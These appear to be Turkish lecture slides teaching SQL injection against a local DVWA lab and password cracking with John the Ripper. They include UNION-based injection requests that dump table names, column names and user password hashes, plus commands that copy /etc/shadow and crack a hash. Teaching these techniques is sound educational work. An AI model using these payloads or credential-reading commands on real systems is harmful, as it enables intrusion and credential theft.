

# SQL Injection (Mid) & John The Ripper

Arş. Grv. FUAT ÖGME





# SQL Injection - Düşük Seviye

Vulnerability: SQL Injection

User ID:

```
<?php
```

```
if( isset( $_REQUEST[ 'Submit' ] ) ) {  
    // Get input  
    $id = $_REQUEST[ 'id' ];  
  
    // Check database  
    $query = "SELECT first_name, last_name  
             FROM users WHERE user_id = '$id'";
```

# SQL Injection - Orta Seviye

**Vulnerability: SQL Injection**

User ID:

```
<?php
```

```
if( isset( $_POST[ 'Submit' ] ) ) {  
    // Get input  
    $id = $_POST[ 'id' ];
```

```
$id = mysqli_real_escape_string($GLOBALS["__mysqli_ston"], $id);
```

```
$query = "SELECT first_name, last_name  
FROM users WHERE user_id = $id;";
```



# SQL Injection - Düşük Seviye vs Orta Seviye

## Client level:

- TextBox → Combobox
- Get Request → Post Request

## Server level:

- Escape string
- Get Request → Post Request

**Yeterli değil !  
Proxy sunucusu ile aşılabılır**

# SQL Injection - Burp Suite

## Burp Suite:

Sibergüvenlik ile ilgili uğraşan profesyonellerin sıklıkla kullandığı bir araç.  
Proxy sunucusu olarak kullanılabilir, request interception yapılabilir.

Burp Suite Community Edition v2.1.04 - Temporary Project

Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options

**Tasks** + New scan + New live task ⏏ ⚙ ? ↗

Filter Running Paused Finished

1. Live passive crawl from Proxy (all traffic) ⏏ ⚙ 🗑

Add links. Add item itself, same domain and... 55 items added to site map

Capturing: ☒ 1659 responses processed

0 responses queued

Upgrade to [Burp Suite Professional](#) to automatically find vulnerabilities! Hide

**Issue activity [Pro version only]** ? ↗

Filter High Medium Low Info Certain Firm Tentative Search...

Issue type	Host	Path
i Suspicious input transformation (reflected)	http://insecure-bank.c...	/url-shorten
SMTP header injection	http://insecure-websit...	/contact-us
Serialized object in HTTP message	http://insecure-bank.c...	/blog
Cross-site scripting (DOM-based)	https://insecure-bank...	/
XML external entity injection	https://vulnerable-web...	/product/stock
External service interaction (HTTP)	https://insecure-websit...	/product



# SQL Injection - Orta Seviye

## Vulnerability: SQL Injection

User ID:

Intercept HTTP history WebSockets history Options

Request to http://localhost:80 [127.0.0.1]

Forward Drop Intercept i... Action Comment this item

Raw Params Headers Hex

POST /vulnerabilities/sqli/ HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:70.0) Gecko/20100101 Firefox/70.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 18  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/vulnerabilities/sqli/  
Cookie: PHPSESSID=gd53k4rmit560it55alh7g9e8k; security=medium  
Upgrade-Insecure-Requests: 1

id=3&Submit=Submit

# SQL Injection - Orta Seviye

## Vulnerability: SQL Injection

User ID: 3 ▾ Submit

Intercept HTTP history WebSockets history Options

Request to http://localhost:80 [127.0.0.1]

Forward Drop Intercept is on Action

Raw Params Headers Hex

POST /vulnerabilities/sqli/ HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:70.0) Gecko/20100101 Firefox/70.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 18  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/vulnerabilities/sqli/  
Cookie: PHPSESSID=gd53k4rmit560it55alh7g9e8k; security=medium  
Upgrade-Insecure-Requests: 1

id=1'&Submit=Submit



localhost/vulnerabilities/sqli/#

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\#' at line 1





# SQL Injection - Orta Seviye

Tablo isimlerini almak için aşağıda gösterilen injection yapıldığında, sorgu sonucunda dönen sonuçlar sağdaki gibidir.

```
Raw Params Headers Hex
POST /vulnerabilities/sqli/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://localhost
Connection: close
Referer: http://localhost/vulnerabilities/sqli/
Cookie: PHPSESSID=gd53k4rmit560it55alh7g9e8k; security=medium
Upgrade-Insecure-Requests: 1

id=1 and 0=0 union select null,table_name from information_schema.tables&Submit=Submit|
```

## Vulnerability: SQL Injection

User ID: 1

ID: 1 and 0=0 union select null,table\_name from information\_schema.tables  
First name: admin  
Surname: admin

ID: 1 and 0=0 union select null,table\_name from information\_schema.tables  
First name:  
Surname: CHARACTER\_SETS

ID: 1 and 0=0 union select null,table\_name from information\_schema.tables  
First name:  
Surname: COLLATIONS

ID: 1 and 0=0 union select null,table\_name from information\_schema.tables  
First name:  
Surname: COLLATION\_CHARACTER\_SET\_APPLICABILITY

ID: 1 and 0=0 union select null,table\_name from information\_schema.tables  
First name:  
Surname: COLUMNS

ID: 1 and 0=0 union select null,table\_name from information\_schema.tables  
First name:  
Surname: COLUMN\_PRIVILEGES



# SQL Injection - Orta Seviye

Tablolardaki kolon isimlerini almak için aşağıda gösterilen injection yapıldığında, sorgu sonucunda dönen sonuçlar sağdaki gibidir.

Forward Drop Intercept is on Action Comment th

Raw Params Headers Hex

POST /vulnerabilities/sqli/ HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:70.0) Gecko/20100101 Firefox/70.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 18  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/vulnerabilities/sqli/  
Cookie: PHPSESSID=gd53k4rmit560it55alh7g9e8k; security=medium  
Upgrade-Insecure-Requests: 1

id=1 and 0=0 union select null,column\_name from information\_schema.columns&Submit=Submit

## Vulnerability: SQL Injection

User ID: 1 Submit

ID: 1 and 0=0 union select null,column\_name from information  
First name: admin  
Surname: admin

ID: 1 and 0=0 union select null,column\_name from information  
First name:  
Surname: CHARACTER\_SET\_NAME

ID: 1 and 0=0 union select null,column\_name from information  
First name:  
Surname: DEFAULT\_COLLATE\_NAME

ID: 1 and 0=0 union select null,column\_name from information  
First name:  
Surname: DESCRIPTION

ID: 1 and 0=0 union select null,column\_name from information  
First name:  
Surname: MAXLEN

ID: 1 and 0=0 union select null,column\_name from information  
First name:  
Surname: COLLATION\_NAME

ID: 1 and 0=0 union select null,column\_name from information  
First name:  
Surname: ID

ID: 1 and 0=0 union select null,column\_name from information  
First name:  
Surname: IS DEFAULT



# SQL Injection - Orta Seviye

Tabloları ve kolonları artık biliyoruz, o zaman istediğimiz herhangi bir bilgiye ulaşabiliriz. Kullanıcı tablosundan kullanıcı bilgilerini alalım.

```
Forward Drop Intercept is on Action
Raw Params Headers Hex
POST /vulnerabilities/sqli/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://localhost
Connection: close
Referer: http://localhost/vulnerabilities/sqli/
Cookie: PHPSESSID=gd53k4rmit560it55alh7g9e8k; security=medium
Upgrade-Insecure-Requests: 1
id=1 and 0 = 0 union select user_id, password from users&Submit=Submit
```

## Vulnerability: SQL Injection

User ID: 1 ▼ Submit

ID: 1 and 0 = 0 union select user\_id, password from users#  
First name: admin  
Surname: admin

ID: 1 and 0 = 0 union select user\_id, password from users#  
First name: 1  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1 and 0 = 0 union select user\_id, password from users#  
First name: 2  
Surname: e99a18c428cb38d5f260853678922e03

ID: 1 and 0 = 0 union select user\_id, password from users#  
First name: 3  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1 and 0 = 0 union select user\_id, password from users#  
First name: 4  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1 and 0 = 0 union select user\_id, password from users#  
First name: 5  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99



# Şifre Kırma - Yöntemleri

- **BruteForce Attack**
- Dictionary Attack
- Rainbow Tables

# Şifre Kırma Araçları

- **John the Ripper(JtR)**
  - **Brute Force attack**
  - **Dictionary attack**
- HashCat
- Cain and Abel
- Hydra
- Rainbow Crack
- Brutus
- Medusa
- OphCrack



# Şifre Kırma - John the Ripper

```
cd ~  
sudo cp /etc/shadow ~/shadowtext  
cat shadowtext
```

```
rtkit*:17737:0:99999:7:::  
cups-pk-helper*:17737:0:99999:7:::  
speech-dispatcher!:17737:0:99999:7:::  
whoopsie*:17737:0:99999:7:::  
kernoops*:17737:0:99999:7:::  
saned*:17737:0:99999:7:::  
pulse*:17737:0:99999:7:::  
avahi*:17737:0:99999:7:::  
colord*:17737:0:99999:7:::  
hplip*:17737:0:99999:7:::  
geoclue*:17737:0:99999:7:::  
gnome-initial-setup*:17737:0:99999:7:::  
gdm*:17737:0:99999:7:::  
parallels:$1$zfpUrVNw$0jVeo3j99J6agGU3aGL.:18216:0:99999:7:::  
mysql!:18176:0:99999:7:::  
testuser1!:18191:0:99999:7:::  
parallels@parallels-Parallels-Virtual-Platform:~$
```



# Şifre Kırma - John the Ripper

## 1) hashlenmiş şifrenin olduğu kullanıcı

```
parallels@parallels-Parallels-Virtual-Platform:~$ sudo cat shadowtext | grep -i paral
parallels:$1$zfpUrVNw$0jVeoes3j99J6agGU3aGL.:18216:0:99999:7:::
```

## 2) john komutu ile shadowtext dosyasındaki hashlenmiş şifreleri kırma

```
parallels@parallels-Parallels-Virtual-Platform:~$ sudo john shadowtext
Loaded 1 password hash (md5crypt [MD5 32/64 X2])
No password hashes left to crack (see FAQ)
```

## 3) show parametresi ile kırılan şifreyi gösterme.

```
parallels@parallels-Parallels-Virtual-Platform:~$ sudo john --show shadowtext
parallels:123:18216:0:99999:7:::

1 password hash cracked, 0 left
```



# SQL Injection(Orta Seviye) & JtR

